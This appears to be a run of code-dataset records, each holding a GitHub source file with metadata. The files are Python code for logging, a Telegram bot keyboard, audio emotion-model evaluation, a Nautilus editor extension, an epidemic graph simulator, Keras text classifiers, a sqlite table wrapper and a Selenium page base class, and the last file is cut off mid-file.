logging\nimport time\nimport logging.handlers\n\nmy_logger = logging.getLogger('MyContainerLogger')\nmy_logger.setLevel(logging.DEBUG)\n\nhandler = logging.handlers.SysLogHandler(address = '/dev/log')\n\nmy_logger.addHandler(handler)\n\nmy_logger.debug('this is debug')\nmy_logger.critical('this is critical')\ncount=0\nwhile True:\n count = count + 1\n my_logger.debug('logging from inside VH container - sleeping for 5 secs :%d',count)\n time.sleep(5)\n", "repo_name": "veeainc/vh-samples", "sub_path": "vh-remote-logging/src/loop.py", "file_name": "loop.py", "file_ext": "py", "file_size_in_byte": 453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 6, "usage_type": "attribute"}, {"api_name": "logging.handlers.SysLogHandler", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 8, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}]} {"seq_id": "73685530491", "text": "from aiogram.types import ReplyKeyboardRemove, \\\n ReplyKeyboardMarkup, KeyboardButton, \\\n InlineKeyboardMarkup, InlineKeyboardButton\nfrom bot_model.app.step_models.keyboards.button_headings import ButtonHeadings, ButtonCallbackData\n\n\nclass ChemistryMenuKeyboard:\n def __init__(self, language: str) -> None:\n self.button_headings = ButtonHeadings(language)\n\n self.organic_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.ORGANIC_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.ORGANIC_CHEMISTRY_CALLBACK_DATA)\n \n self.analytical_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.ANALYTICAL_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.ANALYTICAL_CHEMISTRY_CALLBACK_DATA)\n\n self.general_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.GENERAL_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.GENERAL_CHEMISTRY_CALLBACK_DATA)\n\n self.biochemistry_topic_btn = InlineKeyboardButton(self.button_headings.BIOCHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.BIOCHEMISTRY_CALLBACK_DATA)\n\n self.physical_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.PHYSICAL_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.PHYSICAL_CHEMISTRY_CALLBACK_DATA)\n \n self.inorganic_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.INORGANIC_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.INORGANIC_CHEMISTRY_CALLBACK_DATA)\n\n self.other_chemistry_topic_btn = InlineKeyboardButton(self.button_headings.OTHER_CHEMISTRY_HEADING,\n callback_data=ButtonCallbackData.OTHER_CHEMISTRY_CALLBACK_DATA)\n\n \n self.chemistry_menu_keyboard = InlineKeyboardMarkup(row_width=1)\n self.chemistry_menu_keyboard.add(self.organic_chemistry_topic_btn, self.analytical_chemistry_topic_btn,\n self.general_chemistry_topic_btn, self.biochemistry_topic_btn, \n self.physical_chemistry_topic_btn, self.inorganic_chemistry_topic_btn,\n self.other_chemistry_topic_btn)", "repo_name": "vovchik1905/EasySolve", "sub_path": "eazy_solve_bot/bot_model/app/step_models/keyboards/order_keyboards/subjects_keyboards/chemistry_topic_menu.py", "file_name": "chemistry_topic_menu.py", "file_ext": "py", "file_size_in_byte": 2471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonHeadings", "line_number": 9, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 11, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.ORGANIC_CHEMISTRY_CALLBACK_DATA", "line_number": 12, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 12, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 14, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.ANALYTICAL_CHEMISTRY_CALLBACK_DATA", "line_number": 15, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 15, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 17, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.GENERAL_CHEMISTRY_CALLBACK_DATA", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 18, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 20, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.BIOCHEMISTRY_CALLBACK_DATA", "line_number": 21, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 21, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 23, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.PHYSICAL_CHEMISTRY_CALLBACK_DATA", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 24, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 26, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.INORGANIC_CHEMISTRY_CALLBACK_DATA", "line_number": 27, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 27, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 29, "usage_type": "call"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData.OTHER_CHEMISTRY_CALLBACK_DATA", "line_number": 30, "usage_type": "attribute"}, {"api_name": "bot_model.app.step_models.keyboards.button_headings.ButtonCallbackData", "line_number": 30, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 33, "usage_type": "call"}]} {"seq_id": "70260355134", "text": "import audmetric\nimport audobject\nimport numpy as np\nimport torch\nimport tqdm\n\nfrom define import (\n EMOTIONS\n)\n\n\ndef transfer_features(features, device):\n return features.to(device).float()\n\n\ndef evaluate_multitask(\n model,\n device, \n loader,\n task_dict,\n transfer_func,\n output_dim: int = None,\n score: bool = True\n):\n metrics = {\n 'classification': {\n 'UAR': audmetric.unweighted_average_recall,\n 'ACC': audmetric.accuracy,\n 'F1': audmetric.unweighted_average_fscore\n },\n 'regression': {\n 'CC': audmetric.pearson_cc,\n 'CCC': audmetric.concordance_cc,\n 'MSE': audmetric.mean_squared_error,\n 'MAE': audmetric.mean_absolute_error\n }\n }\n\n model.to(device)\n model.eval()\n\n outputs = torch.zeros((len(loader.dataset), model.output_dim if output_dim is None else output_dim))\n if score:\n targets = torch.zeros((len(loader.dataset), len(task_dict)))\n with torch.no_grad():\n for index, (features, target) in tqdm.tqdm(\n enumerate(loader),\n desc='Batch',\n total=len(loader),\n disable=score\n ):\n start_index = index * loader.batch_size\n end_index = (index + 1) * loader.batch_size\n if end_index > len(loader.dataset):\n end_index = len(loader.dataset)\n outputs[start_index:end_index, :] = model(\n transfer_func(features, device))\n if score:\n targets[start_index:end_index] = target\n # break\n\n outputs = outputs.cpu().numpy()\n if not score:\n return outputs\n targets = targets.numpy()\n predictions = []\n results = {}\n for task in task_dict:\n results[task] = {}\n if task_dict[task]['type'] == 'regression':\n preds = outputs[:, task_dict[task]['unit']]\n else:\n preds = outputs[:, task_dict[task]['unit']].argmax(1)\n predictions.append(preds)\n for metric in metrics[task_dict[task]['type']]:\n results[task][metric] = metrics[task_dict[task]['type']][metric](\n targets[:, task_dict[task]['target']],\n preds\n )\n predictions = np.stack(predictions).T\n total_score = []\n for task in task_dict:\n score = results[task][task_dict[task]['score']]\n if task_dict[task]['score'] in ['MAE', 'MSE']:\n score = 1 / (score + 1e-9)\n total_score.append(score)\n emo_score = sum([x for x, y in zip(total_score, task_dict) if y in EMOTIONS]) / len(EMOTIONS)\n if len(task_dict) == len(EMOTIONS):\n total_score = emo_score\n elif len(task_dict) == 1:\n total_score = total_score[0]\n else:\n scores = [emo_score] + [x for x, y in zip(total_score, task_dict) if y not in EMOTIONS]\n total_score = len(scores) / sum([1 / (score + 1e-9) for score in scores])\n\n return total_score, results, targets, outputs, predictions\n\n\nclass CCCLoss(torch.nn.Module):\n def forward(self, output, target):\n out_mean = torch.mean(output)\n target_mean = torch.mean(target)\n\n covariance = torch.mean((output - out_mean) * (target - target_mean))\n target_var = torch.mean((target - target_mean)**2)\n out_var = torch.mean((output - out_mean)**2)\n\n ccc = 2.0 * covariance / \\\n (target_var + out_var + (target_mean - out_mean)**2 + 1e-10)\n loss_ccc = 1.0 - ccc\n\n return loss_ccc\n\n\nclass LabelEncoder(audobject.Object):\n def __init__(self, labels):\n self.labels = sorted(labels)\n codes = range(len(labels))\n self.inverse_map = {code: label for code,\n label in zip(codes, labels)}\n self.map = {label: code for code,\n label in zip(codes, labels)}\n\n def encode(self, x):\n return self.map[x]\n\n def decode(self, x):\n return self.inverse_map[x]\n\n\n\ndef disaggregated_evaluation(df, groundtruth, task_dict, stratify):\n metrics = {\n 'classification': {\n 'UAR': audmetric.unweighted_average_recall,\n 'ACC': audmetric.accuracy,\n 'F1': audmetric.unweighted_average_fscore\n },\n 'regression': {\n 'CC': audmetric.pearson_cc,\n 'CCC': audmetric.concordance_cc,\n 'MSE': audmetric.mean_squared_error,\n 'MAE': audmetric.mean_absolute_error\n }\n }\n df = df.reindex(groundtruth.index)\n results = {}\n for task in task_dict:\n results[task] = {}\n for stratifier in stratify:\n for variable in groundtruth[stratifier].unique():\n indices = groundtruth.loc[groundtruth[stratifier]\n == variable].index\n df_strat = df.reindex(indices)[f'{task}.pred']\n gt_strat = groundtruth.reindex(indices)[task]\n for metric in metrics[task_dict[task]['type']]:\n if metric not in results[task]:\n results[task][metric] = {}\n results[task][metric][variable] = metrics[task_dict[task]['type']][metric](\n gt_strat,\n df_strat\n )\n return results", "repo_name": "ATriantafyllopoulos/exvo-eihw-personalisation", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 5311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "audmetric.unweighted_average_recall", "line_number": 27, "usage_type": "attribute"}, {"api_name": "audmetric.accuracy", "line_number": 28, "usage_type": "attribute"}, {"api_name": "audmetric.unweighted_average_fscore", "line_number": 29, "usage_type": "attribute"}, {"api_name": "audmetric.pearson_cc", "line_number": 32, "usage_type": "attribute"}, {"api_name": "audmetric.concordance_cc", "line_number": 33, "usage_type": "attribute"}, {"api_name": "audmetric.mean_squared_error", "line_number": 34, "usage_type": "attribute"}, {"api_name": "audmetric.mean_absolute_error", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 45, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 80, "usage_type": "call"}, {"api_name": "define.EMOTIONS", "line_number": 87, "usage_type": "name"}, {"api_name": "define.EMOTIONS", "line_number": 88, "usage_type": "argument"}, {"api_name": "define.EMOTIONS", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 106, "usage_type": "call"}, {"api_name": "audobject.Object", "line_number": 115, "usage_type": "attribute"}, {"api_name": "audmetric.unweighted_average_recall", "line_number": 135, "usage_type": "attribute"}, {"api_name": "audmetric.accuracy", "line_number": 136, "usage_type": "attribute"}, {"api_name": "audmetric.unweighted_average_fscore", "line_number": 137, "usage_type": "attribute"}, {"api_name": "audmetric.pearson_cc", "line_number": 140, "usage_type": "attribute"}, {"api_name": "audmetric.concordance_cc", "line_number": 141, "usage_type": "attribute"}, {"api_name": "audmetric.mean_squared_error", "line_number": 142, "usage_type": "attribute"}, {"api_name": "audmetric.mean_absolute_error", "line_number": 143, "usage_type": "attribute"}]} {"seq_id": "31032907288", "text": "# Text Editor Nautilus Extension\n# Right click on any file(s) and open in a text editor\n# Default Gedit, configure TEXTEDITOR below\n#\n# Place me in ~/.local/share/nautilus-python/extensions/,\n# ensure you have python-nautilus package, restart Nautilus, and enjoy :)\n#\n# This script was written by vijay-prema and is released to the public domain\n\nfrom gi import require_version\nrequire_version('Gtk', '3.0')\nrequire_version('Nautilus', '3.0')\nfrom gi.repository import Nautilus, GObject\nfrom subprocess import call\nimport os\n\n# path to vscode\nTEXTEDITOR = 'gedit'\n\n# what name do you want to see in the context menu?\nEDITORNAME = 'Text Editor'\n\nclass TextEditorExtension(GObject.GObject, Nautilus.MenuProvider):\n\n def launch_editor(self, menu, files):\n safepaths = ''\n args = ''\n\n for file in files:\n filepath = file.get_location().get_path()\n safepaths += '\"' + filepath + '\" '\n\n call(TEXTEDITOR + ' ' + args + safepaths + '&', shell=True)\n\n def get_file_items(self, window, files):\n item = Nautilus.MenuItem(\n name='TextEditorOpen',\n label='Open in ' + EDITORNAME,\n tip='Opens the selected files with Text Editor'\n )\n item.connect('activate', self.launch_editor, files)\n\n return [item]\n\n", "repo_name": "vijay-prema/gedit-nautilus", "sub_path": "gedit-nautilus.py", "file_name": "gedit-nautilus.py", "file_ext": "py", "file_size_in_byte": 1306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gi.require_version", "line_number": 11, "usage_type": "call"}, {"api_name": "gi.require_version", "line_number": 12, "usage_type": "call"}, {"api_name": "gi.repository.GObject.GObject", "line_number": 23, "usage_type": "attribute"}, {"api_name": "gi.repository.GObject", "line_number": 23, "usage_type": "name"}, {"api_name": "gi.repository.Nautilus.MenuProvider", "line_number": 23, "usage_type": "attribute"}, {"api_name": "gi.repository.Nautilus", "line_number": 23, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 33, "usage_type": "call"}, {"api_name": "gi.repository.Nautilus.MenuItem", "line_number": 36, "usage_type": "call"}, {"api_name": "gi.repository.Nautilus", "line_number": 36, "usage_type": "name"}]} {"seq_id": "12325019904", "text": "from tokenizer import TokenizedData\nfrom helpers import pairs\nfrom data import Results\n\nfrom keras.layers import Dense, Activation, Embedding, GRU, Conv1D, Dropout, Bidirectional, SpatialDropout1D, Input, Lambda, MaxPooling1D, GlobalAveragePooling1D, concatenate, LSTM\nfrom keras.models import Model as KerasModel, Sequential, load_model\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.text import Tokenizer, text_to_word_sequence\n\nimport numpy as np\nimport tensorflow as tf\nfrom keras.layers.core import Flatten\nfrom keras.layers.pooling import GlobalMaxPooling1D\nfrom keras.callbacks.callbacks import EarlyStopping\n\n# tf.config.experimental.set_visible_devices([], 'GPU')\n\n\nclass Model:\n def __init__(self):\n self.model = Sequential()\n\n def build(self, dataset: TokenizedData):\n input_shape = dataset.input.shape\n n_comments, width = input_shape\n\n layers = [\n Embedding(len(dataset.tokens) + 1, 128),\n #SpatialDropout1D(0.2),\n Bidirectional(LSTM(128, recurrent_dropout=0.2)),\n Dense(128, activation='relu'),\n #SpatialDropout1D(0.2),\n #MaxPooling1D(),\n Dense(32),\n Dropout(0.25),\n Dense(6, activation='softmax'),\n ]\n\n #input, embedding, spatialdropuot1d globalmaxpooling, concatenate, dropout, dense ,dense\n\n for layer in layers:\n self.model.add(layer)\n\n optimizer = Adam(learning_rate=0.01)\n self.model.compile(optimizer=optimizer,\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\n def fit(self, dataset: TokenizedData):\n history = self.model.fit(dataset.input,\n dataset.output,\n batch_size=64,\n verbose=True,\n epochs=5,\n validation_split=0.4)\n return history\n\n def evaluate(self, dataset: TokenizedData):\n results = self.model.evaluate(dataset.input,\n dataset.output,\n batch_size=64)\n return results\n\n def classify(self, tokenized_sentences: TokenizedData):\n results = self.model.predict(tokenized_sentences.input)[0]\n return Results(*results)\n\n def save(self, filename='model.h5'):\n self.model.save(filename)\n\n @classmethod\n def load(cls, filename='model.h5'):\n model = Model()\n model.model = load_model(filename)\n return model\n\n\nclass GRUModel:\n def __init__(self):\n self.model = Sequential()\n\n def build(self, dataset: TokenizedData):\n data = np.reshape(dataset.input,\n (dataset.input.shape[0], 1, dataset.input.shape[1]))\n input_shape = data.shape\n batch_size, n_features = input_shape[0], input_shape[2]\n input_ = Input(shape=(n_features, ))\n x = Embedding(len(dataset.tokens) + 1, 128, trainable=False)(input_)\n x = SpatialDropout1D(rate=0.2)(x)\n x = Bidirectional(GRU(units=128, return_sequences=True))(x)\n x = Conv1D(64,\n kernel_size=2,\n padding=\"valid\",\n kernel_initializer=\"he_uniform\")(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n x = concatenate([avg_pool, max_pool])\n x = Dense(6, activation=\"sigmoid\")(x)\n self.model = KerasModel(inputs=input_, outputs=x)\n self.model.compile(loss=\"binary_crossentropy\",\n optimizer=Adam(lr=1e-3, decay=0),\n metrics=[\"accuracy\"])\n\n def fit(self, dataset: TokenizedData):\n es = EarlyStopping(monitor='val_loss', mode='min')\n self.history = self.model.fit(x=dataset.input,\n y=dataset.output,\n batch_size=64,\n verbose=True,\n epochs=20,\n validation_split=0.3,\n callbacks=[es])\n return self.history\n\n def evaluate(self, dataset: TokenizedData):\n self.results = self.model.evaluate(dataset.input,\n dataset.output,\n batch_size=64)\n return self.results\n\n def classify(self, tokenized_sentences: TokenizedData):\n results = self.model.predict(tokenized_sentences.input)[0]\n return Results(*results)\n\n def save(self, filename='model.h5'):\n self.model.save(filename)\n\n @classmethod\n def load(cls, filename='model.h5'):\n model = Model()\n model.model = load_model(filename)\n return model\n", "repo_name": "valtyr/lokaverkefni-gervigreind", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4869, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "keras.models.Sequential", "line_number": 21, "usage_type": "call"}, {"api_name": "tokenizer.TokenizedData", "line_number": 23, "usage_type": "name"}, {"api_name": "keras.layers.Embedding", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Bidirectional", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 44, "usage_type": "call"}, {"api_name": "tokenizer.TokenizedData", "line_number": 49, "usage_type": "name"}, {"api_name": "tokenizer.TokenizedData", "line_number": 58, "usage_type": "name"}, {"api_name": "tokenizer.TokenizedData", "line_number": 64, "usage_type": "name"}, {"api_name": "data.Results", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 80, "usage_type": "call"}, {"api_name": "tokenizer.TokenizedData", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 83, "usage_type": "call"}, {"api_name": "data.shape", "line_number": 85, "usage_type": "attribute"}, {"api_name": "keras.layers.Input", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.Embedding", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.SpatialDropout1D", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.Bidirectional", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.layers.GRU", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.layers.Conv1D", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.GlobalAveragePooling1D", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.layers.pooling.GlobalMaxPooling1D", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers.concatenate", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 101, "usage_type": "call"}, {"api_name": "tokenizer.TokenizedData", "line_number": 104, "usage_type": "name"}, {"api_name": "keras.callbacks.callbacks.EarlyStopping", "line_number": 105, "usage_type": "call"}, {"api_name": "tokenizer.TokenizedData", "line_number": 115, "usage_type": "name"}, {"api_name": "tokenizer.TokenizedData", "line_number": 121, "usage_type": "name"}, {"api_name": "data.Results", "line_number": 123, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 131, "usage_type": "call"}]} {"seq_id": "11316990819", "text": "\"\"\"Write a wrapper class TableData for database table,\nthat when initialized with database name and table acts as\ncollection object (implements Collection protocol).\nAssume all data has unique values in 'name' column.\nSo, if presidents = TableData(database_name='example.sqlite',\ntable_name='presidents') then len(presidents) will give current\namount of rows in presidents table in database presidents['Yeltsin']\nshould return single data row for president with name Yeltsin\n'Yeltsin' in presidents should return if president with same name exists in\ntable object implements iteration protocol. i.e. you could use it in for\nloops:: for president in presidents: print(president['name'])\nall above mentioned calls should reflect most recent data.\nIf data in table changed after you created collection instance,\nyour calls should return updated data.\nAvoid reading entire table into memory. When iterating through records,\nstart reading the first record, then go to the next one, until\nrecords are exhausted. When writing tests, it's not always neccessary\nto mock database calls completely.\nUse supplied example.sqlite file as database fixture file.\"\"\"\nimport sqlite3\n\n\nclass TableData:\n def __init__(self, path, table_name):\n self.path = path\n self.table_name = table_name\n\n def connection_to_database(self):\n conn = sqlite3.connect(self.path)\n conn.row_factory = sqlite3.Row\n cursor = conn.cursor()\n return cursor, conn\n\n @staticmethod\n def close_connection(cursor, conn):\n cursor.close()\n conn.close()\n\n def __getitem__(self, item):\n cursor, con = self.connection_to_database()\n cursor.execute(f'SELECT * from {self.table_name} where name=?',\n (item,))\n res = tuple(cursor.fetchone())\n self.close_connection(cursor, con)\n return res\n\n def __len__(self):\n cursor, con = self.connection_to_database()\n cursor.execute(f'SELECT count(*) from {self.table_name}')\n res = cursor.fetchone()[0]\n self.close_connection(cursor, con)\n return res\n\n def __contains__(self, item):\n cursor, con = self.connection_to_database()\n cursor.execute(f'SELECT * from {self.table_name} where name=?',\n (item,))\n res = cursor.fetchone()\n self.close_connection(cursor, con)\n if res is not None:\n return True\n return False\n\n def __iter__(self):\n cursor, con = self.connection_to_database()\n cursor.execute(f'SELECT * from {self.table_name}')\n self.close_connection(cursor, con)\n return self\n\n def __next__(self):\n cursor, con = self.connection_to_database()\n res = cursor.fetchone()\n self.close_connection(cursor, con)\n if res is not None:\n return res\n else:\n raise StopIteration\n\n\nif __name__ == '__main__':\n presidents = TableData('example.sqlite', 'presidents')\n print(presidents['Trump'])\n print(len(presidents))\n print('Trump' in presidents)\n print('Medvedev' in presidents)\n for president in presidents:\n print(president['name'])\n", "repo_name": "Alexander6463/Homework_epam", "sub_path": "homework8/hw/task02.py", "file_name": "task02.py", "file_ext": "py", "file_size_in_byte": 3168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 30, "usage_type": "attribute"}]} {"seq_id": "33691224338", "text": "\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport argparse\nfrom random import choices\nimport numpy as np\nfrom random import randint\n\n__author__ = 'Pelin Icer Baykal'\n\n'''\nEpidemics simulator for transmission network\n\n'''\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Simulates epidemics with power-law network')\n parser.add_argument(\"-n\", metavar = \"N\", type = int, help='define number of vertices')\n\n args = parser.parse_args()\n N=args.n\n #print(N)\n\n #create a graph with degrees and a power law distribution\n s = nx.utils.powerlaw_sequence(N,2)\n #return a random graph with given expected degrees\n G = nx.expected_degree_graph(s, selfloops=False)\n\n #nodes of original graph\n original_nodes = list(G.nodes())\n\n #get the largest connected subgraph component\n Gc = max(nx.connected_component_subgraphs(G), key=len)\n\n # nodes of the subgraph\n subgraph_nodes = list(Gc.nodes())\n\n print(\"number of nodes: \" , len(Gc))\n print(\"nodes: \" , Gc.nodes())\n print(\"edges: \" , Gc.edges())\n\n # isolated nodes\n isolates = list(nx.isolates(G))\n # G.remove_nodes_from(isolates)\n print(\"isolates: \", isolates)\n\n #degree distribution of the network\n degrees = [val for (node, val) in Gc.degree()]\n sumOfdeg=sum(degrees)\n for i in range(len(degrees)):\n #print(degrees[i])\n #print(\"sum\" , sumOfdeg)\n degrees[i] = (degrees[i]/sumOfdeg)*100\n print(\"degree distribution \" , degrees)\n\n #choose random nodes\n r = randint(1, len(Gc))\n #print(r)\n infected_patients = np.random.choice(list(Gc.nodes()), r , replace = False)\n print(\"random nodes: \" , infected_patients )\n\n #draw and show graph\n pos2 = nx.spring_layout(Gc)\n pos1 = nx.spring_layout(G)\n\n\n f1 = plt.figure(1)\n f1.suptitle('Original Graph')\n nx.draw_networkx(G, pos1, node_color = 'b')\n\n f2 = plt.figure(2)\n f2.suptitle(\"Biggest connected subgraph\")\n\n color_map = []\n for n in subgraph_nodes:\n #print(n)\n if n in infected_patients:\n color_map.append('r')\n else:\n color_map.append('b')\n\n nx.draw_networkx(Gc, pos1, node_color = color_map)\n\n nn = []\n for m in infected_patients:\n neighbor = list(G.neighbors(m))\n neighbors_ip = []\n for p in neighbor:\n if p not in infected_patients:\n neighbors_ip.append(p)\n print(m, \" nodes neighbors: \" , neighbors_ip)\n if not neighbors_ip:\n nn.append(neighbors_ip)\n print(nn)\n\n plt.show()\n\n\n", "repo_name": "picerbaykal/Transmission_Network", "sub_path": "simulator.py", "file_name": "simulator.py", "file_ext": "py", "file_size_in_byte": 2584, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "networkx.utils.powerlaw_sequence", "line_number": 25, "usage_type": "call"}, {"api_name": "networkx.utils", "line_number": 25, "usage_type": "attribute"}, {"api_name": "networkx.expected_degree_graph", "line_number": 27, "usage_type": "call"}, {"api_name": "networkx.connected_component_subgraphs", "line_number": 33, "usage_type": "call"}, {"api_name": "networkx.isolates", "line_number": 43, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "networkx.spring_layout", "line_number": 63, "usage_type": "call"}, {"api_name": "networkx.spring_layout", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "networkx.draw_networkx", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "networkx.draw_networkx", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]} {"seq_id": "12893707354", "text": "from selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom framework.logger import Logger\nimport time\nimport os.path\nlogger=Logger(logger='BasePage').getlog()\nclass BasePage(object):\n def __init__(self,driver):\n self.driver=driver\n def back(self):\n self.driver.back()\n logger.info(\"Click back on current page.\")\n def forward(self):\n self.driver.forward()\n logger.info(\"Click forward on current page.\")\n def open_url(self,url):\n self.driver.get(url)\n def quite_browser(self):\n self.driver.quit()\n def close(self):\n try:\n self.driver.close()\n logger.info(\"Close and quit the browser.\")\n except Exception as e:\n logger.error(\"Failed to quit the browser with %s\"%e)\n def find_element(self, *loc):\n try:\n WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(loc))\n return self.driver.find_element(*loc)\n except:\n print(\"\")\n def find_elements(self,*loc):\n try:\n WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(loc))\n return self.driver.find_elements(*loc)\n except:\n print(\"页面元素未找到\")\n def clear(self,*loc):\n el=self.find_element(*loc)\n try:\n el.clear()\n except Exception as e:\n logger.error(\"clear fail%s\"%e)\n def sendkeys(self, text, *loc):\n el=self.find_element(*loc)\n el.clear()\n try:\n el.send_keys(text)\n logger.info(\"%s被输入\" %text)\n except Exception as e:\n logger.error(\"Failed to type in input box with %s\"%(el).text)\n self.get_windows_img()\n\n\n def get_ratios(self,*loc):\n e1=self.find_elements(*loc)\n ratio_list=[]\n choice_list=[]\n for i in range(0,len(e1)-1):\n if i%2!=0:\n ratio_list.append(e1[i].text)\n else:\n 